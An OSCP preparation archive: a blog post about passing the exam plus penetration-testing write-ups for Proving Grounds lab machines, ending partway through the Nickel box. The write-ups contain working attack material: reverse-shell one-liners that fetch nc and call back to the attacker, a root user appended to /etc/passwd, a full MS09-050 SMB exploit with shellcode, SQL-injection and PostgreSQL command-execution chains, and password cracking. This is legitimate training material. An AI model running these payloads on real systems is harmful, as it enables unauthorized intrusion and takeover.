# Zeyu's OSCP Writeups
Here's an archive of the boxes I did to prepare for the OSCP.
## \~# ls -la
| Name | Type |
| ------------------------------------------------------------------------------------- | ------------------ |
| [My OSCP Journey: How I Tried Harder](/blog-posts/my-oscp-journey-how-i-tried-harder) | Blog Post |
| [Proving Grounds - Offensive Security](/#cd-proving_grounds) | Challenge Writeups |
| [Hack the Box](/#cd-hack_the_box) | Challenge Writeups |
## \~# cd proving\_grounds
[Offensive Security Proving Grounds (PG) ](https://www.offensive-security.com/labs/)are a modern network for practicing penetration testing skills on exploitable, real-world vectors.
### Warm Up (10)
| Machine | OS | Description |
| ----------------------------------------------- | ------- | ---------------------------------------------------- |
| [Pebbles](/proving-grounds/warm-up/pebbles) | Linux | Not your average pebble in a pond - a pretty pebble. |
| [Twiggy](/proving-grounds/warm-up/twiggy) | Linux | An easy machine, but a tad sneaky. |
| [Bratarina](/proving-grounds/warm-up/bratarina) | Linux | Bratarina is not the nicest lady in town. |
| [Internal](/proving-grounds/warm-up/internal) | Windows | Quick and simple way to learn the Brazilian dance. |
| [ClamAV](/proving-grounds/warm-up/clamav) | Linux | Retired exam machine to help you prepare. |
### Get to Work (20)
| Machine | OS | Description |
| --------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------ |
| [Nibbles](/proving-grounds/get-to-work/nibbles) | Linux | This machine will highlight why we have hardening guidelines. |
| [Nickel](/proving-grounds/get-to-work/nickel) | Windows | We require more minerals. |
| [WebCal](/proving-grounds/get-to-work/webcal) | Linux | Enumeration is key. Also, don't follow where it leads you... |
| [Authby](/proving-grounds/get-to-work/authby) | Windows | Enumeratation and pillaging like bandits in the old country. |
| [Pelican](/proving-grounds/get-to-work/pelican) | Linux | Let's hope to see one at the zoo. |
| [Jacko](/proving-grounds/get-to-work/jacko) | Windows | A machine best paired with a nice cup of coffee. |
| [Medjed](/proving-grounds/get-to-work/medjed) | Windows | Medjed - The Smiter, who belongs to the House of Osiris, who shoots with his eye, yet is unseen. |
| [XposedAPI](/proving-grounds/get-to-work/xposedapi) | Linux | Don't get exposed. |
### Try Harder (25)
| Machine | OS | Description |
| ------------------------------------------------ | ------- | ------------------------------------------------ |
| [Meathead](/proving-grounds/try-harder/meathead) | Windows | Teaches basic pillaging and chaining principals. |
## \~# cd hack\_the\_box
[Hack The Box](https://www.hackthebox.eu/) is a massive, online cyber security training platform, allowing individuals, companies, universities and all kinds of organizations around the world to level up their hacking skills.
### Easy
| Machine | OS |
| ----------------------------------------------- | ----- |
| [ScriptKiddie](/hack-the-box/easy/scriptkiddie) | Linux |
| [Delivery](/hack-the-box/easy/delivery) | Linux |
| [Laboratory](/hack-the-box/easy/laboratory) | Linux |
| [Academy](/hack-the-box/easy/academy) | Linux |
| [Sense](/hack-the-box/easy/sense) | Linux |
### Medium
| Machine | OS |
| ------------------------------------- | ------- |
| [Cronos](/hack-the-box/medium/cronos) | Linux |
| [Jeeves](/hack-the-box/medium/jeeves) | Windows |
# My OSCP Journey: How I Tried Harder
How I tried harder to attain my Offensive Security Certified Professional (OSCP) certification
## Background
Last week, I sat for and passed the Offensive Security Certified Professional (OSCP) exam from Offensive Security. I managed to root 4 out of 5 of the boxes, and achieve 90 out of 100 possible points (70 were required to pass).
As a newcomer in the field of penetration testing, this was a major milestone for me. This post outlines my experience with the [Penetration Testing with Kali Linux (PWK)](https://www.offensive-security.com/pwk-oscp/) course and the OSCP exam, as well as some advice I wish I had been given before embarking on this journey.
## Pre-PWK
I'm a high school graduate and an incoming Computer Science undergraduate.
While I had prior experience in programming and Computer Science, my first encounter with red teaming came in January, when I decided to try out [TryHackMe](https://tryhackme.com/) for the first time. It was also around that time when I first started playing CTFs, a hobby that has since grown into a pretty competitive sport for me.
### Recommendation: TryHackMe
If you're like me and just starting out in this field, I highly recommend TryHackMe. You could do the free rooms to get a feel for the kind of things you would be doing in the PWK course.
{% embed url="" %}
Here are the rooms I did:
Start with the easy rooms like Vulnversity (which will take you through the basics of pentesting methodology), then as you get more comfortable, try to take on rooms like Mr. Robot CTF and perform a full "pentest". You can always watch the walkthroughs if you get stuck - don't worry about referring to hints and reading walkthroughs at this early stage in your learning. What's important here is not really the technical skills, but rather getting a feel for the *methodology* and *process* of performing a penetration test.
### Recommendation: eLearnSecurity PTS / eJPT
After doing a few TryHackMe rooms, I got really interested in red teaming (although at the time, it still seemed rather alien to me). I wanted to learn more, but didn't necessarily want to jump straight into OSCP just yet. I came across the eJPT certification, which was the certification for eLearnSecurity's Penetration Testing Student (PTS) course.
**The course is free**, but you can get certified for $200 if you want.
{% embed url="" %}
The course teaches you all the basics:
* Computer networking
* Performing simple `nmap` scans
* Simple web exploitation using Burp Suite
* Using Metasploit for exploiting known vulnerabilities
Most importantly, it makes sure you fully understand the penetration testing **methodology**. It is **not** a technically demanding certification at all - in fact, there are no restrictions on auto-exploiters like Metasploit and SQLMap, which the OSCP exam forbids.
I passed the certification on the 29th of January, a few weeks after I started the course.
### Misc
Before starting the course in February, I started participating in CTF competitions. At first, it was daunting. I remember my first CTF competition back in December 2020, where I was barely able to solve any challenges, save a few OSINT ones.
Even after passing the eJPT, I was equally clueless - CTF challenges are much more technically demanding, and don't necessarily require a penetration testing workflow. However, the skills you learn from them can be quite useful when exploiting similar vulnerabilities in the future.
The key thing with CTFs is to never give up. It definitely feels demoralizing not being able to solve any challenges, but the process of googling vulnerabilities and exploiting them is exactly what you would need going into something like OSCP. As I participated in more and more CTF competitions, I eventually got better at them and drew connections between new challenges and past challenges I've solved.
I'm quite proud of my team, Social Engineering Experts, which came from (mostly) 0 and went on to win prizes for a local CTF and come quite close to winning some international CTFs as well.
## PWK Course
In mid-February, I decided to sign up for the PWK course.
### Lab Exercises / Lab Report
You can get 5 bonus points for the OSCP exam if you complete **all** course exercises accurately and submit a lab report documenting the course exercises and 10 lab machines.
Personally, I do **not** think this is worth the effort. For the first few weeks, I tried to work through the course material and aimed to complete all the course exercises. **It was simply too time-consuming** and that time could have been used more productively pwning lab machines. Eventually, I gave up on it.
To a certain degree, the 5 bonus points do help. You could run through the outcomes - there are plenty in which you end up with 65 points. In fact, on my passing attempt, I was initially at 65 points and stuck on the 25 point machine that would eventually secure my points to pass. If you are stuck on 65 points, the 5 bonus points could be the difference between passing and failing the exam.
Yet, such a comparison would be unfair - the time spent on the course exercises, if spent wisely on practising the lab machines, would have more than likely yielded a better performance during the exam.
### Buffer Overflow
If you don't have a solid foundation in assembly, you might find this section difficult. Yet, it is **absolutely necessary** to master, given that the OSCP exam consists of a 25 point buffer overflow machine. This is a giveaway machine because it is extremely predictable, and you should aim to root this machine within 1-2 hours.
While the course material on buffer overflow should be relatively entry-level, and I think that Offsec did a great job explaining it, I have seen some users say that this section of the course was the hardest for them. In this case, I recommend the TryHackMe Reverse Engineering rooms to help you nail down the basics of assembly, and this room by [Tib3rius](https://tryhackme.com/p/Tib3rius) to practice for the actual buffer overflow challenge:
{% embed url="" %}
The room is geared towards preparing for the OSCP buffer overflow challenges, and I personally practised it the day before my exam attempts to ensure that I could do it within an hour.
### PWK Labs
#### The Good
There are no walkthroughs. This is great for cultivating the Try Harder mindset, and I think I learnt a lot by trying different things and seeing for myself what worked and what didn't.
#### The Bad
Personally, I felt that the PWK labs can be a bit outdated. There are machines with old exploits that you likely won't find on the OSCP exam.
Additionally, many of the machines are 'chained', i.e. you need to solve one machine before you can solve another. It is not made clear what is the intended sequence these machines are meant to be solved in, and I found myself at one point spending hours on a lab machine only to realise that it is part of an exploitation chain and I was supposed to solve another machine first.
#### The Verdict
Hey, you paid for them, so you might as well use them. Start with the 11 machines in the [Learning Path](https://help.offensive-security.com/hc/en-us/articles/360050473812-PWK-Labs-Learning-Path) to nail down your methodology. Then, move on to other, more unguided machines and look for help in the forum if you get stuck.
I did around 15 lab machines before my first attempt. When I took my first attempt, I felt like I was biting off more than I could chew. Being on my own and without the forums to guide me, the exam was much more difficult than anticipated. In comparison to the old exploits in the PWK labs, the vulnerabilities in the exam were also quite different. I ended up with only 35 points on my first attempt.
### Recommendation: Proving Grounds
[Offensive Security Proving Grounds](https://www.offensive-security.com/labs/) is a platform for virtual pentesting labs, **made by Offsec**. As a result, the machines there are quite similar to what you might expect in the OSCP exam.
{% embed url="" %}
#### The Good
The machines, especially those made by Offsec, are extremely realistic and are "OSCP-like". They are also grouped into 10, 20, and 25 point machines, just like the OSCP.
There are walkthroughs for each machine, but these are limited to 1 per day. You'll mostly be using hints, of which you are entitled to 3 per day. Using these hints and walkthroughs decreases the points you can get from a machine, and while these points have no real meaning, the gamified system does to some degree cultivate the Try Harder mindset.
I personally like the way the hints are given. Compared to the PWK labs where you are mostly left on your own, the hints nudge you in the right direction while allowing you sufficient room to learn and figure things out on your own. I found myself becoming less reliant on them as I went along, and eventually I was able to solve community-rated Intermediate and Hard machines independently.
#### The Bad
The connection can sometimes be a bit unstable, and the platform is still new. However, it is evident that Offsec is doing its best to improve the platform.
Some machines are user-submitted, while the rest are made by Offsec. Some of the user-submitted machines *can* be a bit too "CTF-y", and less "OSCP-like".
#### The Verdict
This was one of my best purchases, hands down. It was only $20 a month, and I subscribed for 2 months. During this time I did \~30 boxes, and I'm highly certain that this is what contributed to me being able to pass the exam the second time around.
### Other Resources
Some helpful resources that I found myself regularly referring to:
* [PayloadsAllTheThings Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md): Use a payload from here when you discover an RCE vulnerability.
* [HackTricks](https://book.hacktricks.xyz): When you are dealing with unfamiliar protocols, HackTricks probably has a checklist for you.
* [ExploitDB](https://www.exploit-db.com/): Pretty much all the CVEs you come across during the PWK labs will have an exploit on here.
* [GTFOBins](https://gtfobins.github.io/): When performing Linux privilege escalation, you will likely find yourself referring to this for SUID and Sudo misconfiguration exploits.
* [LinPEAS and WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite): Great for privilege escalation enumeration, but don't forget your basics!
* [Transferring Files from Linux to Windows](https://blog.ropnop.com/transferring-files-from-kali-to-windows/): Make sure you know this.
* [Upgrading Netcat Shell with Python](https://zsecure.uk/guides/upgrade-nc-shell-with-python-3/): Make sure you know this.
## The Exam
### First Attempt
My first attempt at the exam, on the 28th of April, was not great - I only managed to get 35 out of the 70 required points to pass. It was definitely demoralizing, but this attempt made me realise several gaps in my methodology, particularly my enumeration strategy.
For the next two months, I worked on Proving Grounds boxes, while continuing to juggle my other commitments, including my CTF team (during this time, we did quite a few CTFs, including Pwn2Win, a DEFCON qualifier).
### Second Attempt
This time, I made sure it was different.
* I stopped over-relying on automatic enumeration scripts, and instead made sure I understood what I was enumerating.
* I took note of all the times I got stuck. After referring to hints and figuring out the correct techniques, I added the technique to a "Troubleshooting Checklist" I made for myself. I'm not sharing this here because I'm not a huge fan of following other people's checklists. This checklist worked for me precisely because it was filling in *my* gaps in knowledge**.**
* I improved my note-taking strategy. I used [Joplin](https://joplinapp.org/) to easily take notes in Markdown, and structured my notes so that I covered every service running on the machine - no gaps this time.
* The day before the exam, I reviewed the notes I took on each of my practice machines. I took note of how I enumerated and found the initial foothold, and how I found the privilege escalation vector.
My second attempt was on 6th July - this time, I managed to root all but one of the boxes and achieved 90 points.
Less than 24 hours after I submitted my exam report, I received confirmation that I have passed the exam. I'm officially an OSCP.
## Misc Tips
### Reporting
Don't underestimate this. You've spent 24 hours pwning the boxes - make sure you write a good report to secure your certification! After writing a high-quality report with neat formatting, you will feel personally satisfied as well. This is the culmination of all your hard work!
I used [whoisflynn's template](https://github.com/noraj/OSCP-Exam-Report-Template-Markdown/blob/master/src/OSCP-exam-report-template_whoisflynn_v3.2.md), but modified it slightly for my style of reporting. For the styling, I used [chvancooten's template](https://github.com/chvancooten/OSCP-MarkdownReportingTemplates) to generate neat-looking reports from the Markdown document.
When working on the machines, screenshot every major milestone. **Make sure that someone else can easily replicate the attack by following your screenshots**. If it's clear and easily replicable, I bet that Offsec would have a much easier time grading your report too. If you miss out details in your report, Offsec may have to ask you for additional information etc., which can slow down the grading process or even result in a fail.
### During the Exam
**Remember to take breaks.** I cannot stress this enough. I found that taking breaks and walking out of my room often cleared up my mind and helped me to make better progress when I returned. If you've been stuck for 1 to 2 hours, I'd advise you to go for a walk and come back refreshed.
**Get sufficient rest.** I factored in 4 hours of sleep during the exam. I slept for 4 hours, then woke up early in the morning to complete the exam. Those 4 hours of sleep helped a lot. At that point, I was at 65 points and stuck with the initial foothold for the 25 point machine. It was midnight and I was tired from racking my brains all day. I probably spent 3-4 hours on that machine with no progress. When I woke up the next morning, I realised I've missed something rather trivial - I got the full 25 points less than an hour later.
**Be wary of rabbit holes.** Just because you find an exploit for it doesn't mean it's exploitable. Make sure you understand which conditions make the service exploitable. Have a mental checklist of what to do when encountering common services like FTP - if you've run through the entire checklist and nothing's there, then nothing's there. Stop yourself when you find yourself running the same commands over and over again expecting to find something new.
## Post-Exam
I'm glad that this chapter of my life has finally come to a satisfying conclusion.
Perhaps the best thing I've gained from this is that hacking no longer feels like a mystery to me. It is certainly not what it looks like on TV:
To be honest, I don't feel much different now that I have the certification. The course has taught me a lot, and I've seen my skills improve in not just the OSCP exam, but also in CTFs and understanding the mindset of an attacker in general. If I had failed again, at the very least I would know that I've improved a lot since my last attempt.
More importantly, I'm finally finding myself less busy, with one less commitment off my table. I will probably take a good break, focus on other equally important things in my life (such as family and friends) for a bit, and then come back again for either the OSWE or OSED next year.
That's all for now. All the best if you're taking, or planning to take the OSCP!
# Warm Up
Writeups for Warm Up machines from Proving Grounds by Offensive Security.
[Offensive Security Proving Grounds (PG) ](https://www.offensive-security.com/labs/)are a modern network for practicing penetration testing skills on exploitable, real-world vectors.
| Machine | OS | Description |
| ----------------------------------------------- | ------- | ---------------------------------------------------- |
| [Pebbles](/proving-grounds/warm-up/pebbles) | Linux | Not your average pebble in a pond - a pretty pebble. |
| [Twiggy](/proving-grounds/warm-up/twiggy) | Linux | An easy machine, but a tad sneaky. |
| [Bratarina](/proving-grounds/warm-up/bratarina) | Linux | Bratarina is not the nicest lady in town. |
| [Internal](/proving-grounds/warm-up/internal) | Windows | Quick and simple way to learn the Brazilian dance. |
| [ClamAV](/proving-grounds/warm-up/clamav) | Linux | Retired exam machine to help you prepare. |
# Pebbles
Writeup for Pebbles from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.85.52 -t full`
`nmapAutomator.sh -H 192.168.85.52 -t vulns`
### HTTP
Port 80
`gobuster dir -u http://192.168.85.52 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`
Using a larger wordlist:
`gobuster dir -u http://192.168.85.52 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.php --threads 100`
We have a ZoneMinder console (v1.29.0).
Port 8080 contains another HTTP service.
`gobuster dir -u http://192.168.85.52:8080 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`
There is a `hello.php`.
## Exploitation
From the ZoneMinder version (v1.29.0) above, we find that it is vulnerable to SQL injection.
It appears that the `limit` parameter is vulnerable to stacked queries. Using the following POST payload:
`view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5`
We can make the server sleep for 5 seconds.
This is a blind SQL injection (True = sleep, False = no sleep).
We can automate the blind SQL injection using `sqlmap`.
`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5`
`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm -T Users -C Username,Password --dump --threads 5`
We can achieve RCE using the `--os-shell` option.
`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell`
```
wget "http://192.168.49.133/nc" -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc -e /bin/bash 192.168.49.133 3305
```
**Two things were important here: the port 3305, and the location of the nc binary.**
On our listening machine, we get a root shell.
Upgrade to an interactive shell: `python -c 'import pty;pty.spawn("/bin/bash")'`
Proof:
# Twiggy
Writeup for Twiggy from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.134.62 -t full`
`nmapAutomator.sh -H 192.168.134.62 -t vulns`
### Port 80
Mezzanine is running.
### Port 8000
The SaltStack Salt REST API is running.
## Exploitation
SaltStack < 3000.2, < 2019.2.4, 2017.\*, 2018.\* is vulnerable to an RCE vulnerability.
Exploit from:
We can try to execute a reverse shell.
`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.134",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`
However, this does not work (presumably because of the firewall).
We can, however, read arbitrary files, including `passwd` and `shadow`.
We can also write arbitrary files. To add our own root user to `/etc/passwd`:
```bash
echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd
```
Note that this hash corresponds to our custom password, `mypass`.
```bash
$ openssl passwd mypass
bWBoOyE1sFaiQ
```
Upload the modified file: `python3 48421.py --master 192.168.134.62 --upload-src passwd --upload-dest ../../../../../etc/passwd`
Check that our user was correctly added:
Now, using the `root:mypass` credentials, we can SSH into the server as root. This works because password authentication is enabled.
# Bratarina
Writeup for Bratarina from Offensive Security Proving Grounds (PG)
## Service Enumeration
`nmapAutomator.sh -H 192.168.163.71 -t full`
`nmapAutomator.sh -H 192.168.163.71 -t vulns`
### Samba
Null SMB sessions are allowed.
There is a `backups` share.
### SMTP
OpenSMTP 2.0.0 is used.
## Exploitation
This is vulnerable to an RCE vulnerability:
`python3 47984.py 192.168.163.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.163\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'`
We receive a reverse shell:
Proof:
# Internal
Writeup for Internal from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.134.40 -t full`
### SMB
SMB is running and null sessions are allowed.
`enum4linux 192.168.134.40`
Nothing much interesting. Access denied for most queries.
From the scan results we can see the Windows version: `Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds`
That's pretty old. Let's run a vulnerability scan: `nmapAutomator.sh -H 192.168.134.40 -t vulns`
Vulnerability: CVE-2009-3103 (SMBv2 RCE)
Exploit code:
## Exploit
Generate shellcode: `msfvenom -p windows/shell/reverse_tcp LHOST=192.168.49.134 LPORT=4444 EXITFUNC=thread -f c`
Add the shellcode output to the above exploit code.
Modified exploit code:
```python
# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py
#!/usr/bin/python
#This module depends on the linux command line program smbclient.
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]
except IndexError:
print '\nUsage: %s \n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n'
sys.exit(-1)
shell = ("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b\x48\x18\x01\xd3\x50"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\x86\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
host = target, 445
buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address
#stager_sysenter_hook from metasploit
buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"
buff+=shell
s = socket()
s.connect(host)
s.send(buff)
s.close()
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
```
Use `exploit/multi/handler` to handle the staged payload (remember to set the corresponding PAYLOAD and THREAD from msfvenom earlier.)
# ClamAV
Writeup for ClamAV from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.66.42 -t full`
`nmapAutomator.sh -H 192.168.66.42 -t vulns`
### HTTP (80)
There is a page with a binary message.
Challenge accepted!
### SMTP (25)
We can see that Sendmail 8.13.4 is used.
## Exploitation
We find the following Sendmail + ClamAV RCE exploit:
{% embed url="" %}
The two lines in the Perl script:
```perl
print $sock "rcpt to: > /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: \r\n";
```
appear to open port 31337 as a root shell.
After running the script, the port is indeed open.
Upon connecting to the bind shell, use `bash -i` to upgrade to a fully interactive shell.
# Get to Work
Writeups for Get to Work machines from Proving Grounds by Offensive Security.
[Offensive Security Proving Grounds (PG) ](https://www.offensive-security.com/labs/)are a modern network for practicing penetration testing skills on exploitable, real-world vectors.
| Machine | OS | Description |
| --------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------ |
| [Nibbles](/proving-grounds/get-to-work/nibbles) | Linux | This machine will highlight why we have hardening guidelines. |
| [Nickel](/proving-grounds/get-to-work/nickel) | Windows | We require more minerals. |
| [WebCal](/proving-grounds/get-to-work/webcal) | Linux | Enumeration is key. Also, don't follow where it leads you... |
| [Authby](/proving-grounds/get-to-work/authby) | Windows | Enumeratation and pillaging like bandits in the old country. |
| [Pelican](/proving-grounds/get-to-work/pelican) | Linux | Let's hope to see one at the zoo. |
| [Jacko](/proving-grounds/get-to-work/jacko) | Windows | A machine best paired with a nice cup of coffee. |
| [Medjed](/proving-grounds/get-to-work/medjed) | Windows | Medjed - The Smiter, who belongs to the House of Osiris, who shoots with his eye, yet is unseen. |
| [XposedAPI](/proving-grounds/get-to-work/xposedapi) | Linux | Don't get exposed. |
# Nibbles
Writeup for Nibbles from Offensive Security Proving Grounds (PG)
## Nibbles
### Service Enumeration
`nmapAutomator.sh -H 192.168.163.47 -t full`
`nmapAutomator.sh -H 192.168.163.47 -t vulns`
* Anonymous FTP not allowed
### Subdirectory Enumeration
`gobuster dir -u http://192.168.163.47/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.html --threads 50`
### PostgreSQL
We know the default username is `postgres`. Trying the password `postgres`, we authenticate successfully.
Note that we are a privileged account, with the Superuser role.
## Exploitation
Reference:
Compile the shared library:
`gcc lib_postgresqlugcc lib_postgresqludf_sys.c -I server -fPIC -shared -o udf64.so`
Generate the `.psql` payload:
```
xxd -p udf64.so | tee udf.txt
x=0
while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt
```
Create and get the ID of the object:
Replace PLACEHOLDER in `u.psql` with 16385.
Deliver the payload: `psql -h 192.168.163.47 -p 5437 -U postgres -d postgres -f u.psql`
`select lo_export(16385, '/tmp/exploit.so');`
`create or replace function exec(char) returns char as '/tmp/exploit.so','sys_eval' language c strict;`
At this point we have created a function that allows us to execute arbitrary commands.
Verify Python is installed: `select exec('which python');`
**Note: the only port that works is port 80.** Since the web application would be communicating with the PostgreSQL service through port 80, port 80 is likely whitelisted.
```
select exec('python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.163",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''');
```
### Privilege Escalation
We can use LinPEAS to enumerate.
We see that the `find` binary has the SUID bit set.
Reference:
We can leverage this to run `/bin/sh` with elevated privileges.
# Nickel
Writeup for Nickel from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.90.99 -t full`
`nmapAutomator.sh -H 192.168.90.99 -t vulns`
### SMB (139)
`msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.90 LPORT=443 EXITFUNC=thread -f python`
### HTTP
On port 8089, we have a dashboard:
Each of the links bring us to 169.254.109.39:33333. By going to 192.168.90.99:33333 instead, we get a Not Found response for `/list-current-deployments`.
We get a different message, however, for `/list-running-procs`.
If we send a POST request instead, we indeed see a list of running processes!
In the command line of one of the processes, we get a user's credentials.
Plugging the `-p` parameter into CyberChef, we can see that it is a Base 64 encoded password (`NowiseSloopTheory139`)
Using the credentials `ariah:NowiseSloopTheory139`, we can SSH into the server.
## Privilege Escalation
Using previously found credentials for `ariah`, we can access the FTP service and download a PDF file.
However, a password is required. The previously found password does not work.
Use `pdf2john.pl` to extract the hash.
`perl john-bleeding-jumbo/run/pdf2john.pl Infrastructure.pdf > Infrastructure-Hash.txt`
Use John the Ripper to crack the hash.
`john --wordlist=/usr/share/wordlists/rockyou.txt Infrastructure-Hash.txt`
The password is `ariah4168`.
Here, we find a 'Temporary Command endpoint' at `http://nickel/` that is only accessible through the remote machine.
Using Powershell, we can send a GET request to the API endpoint.
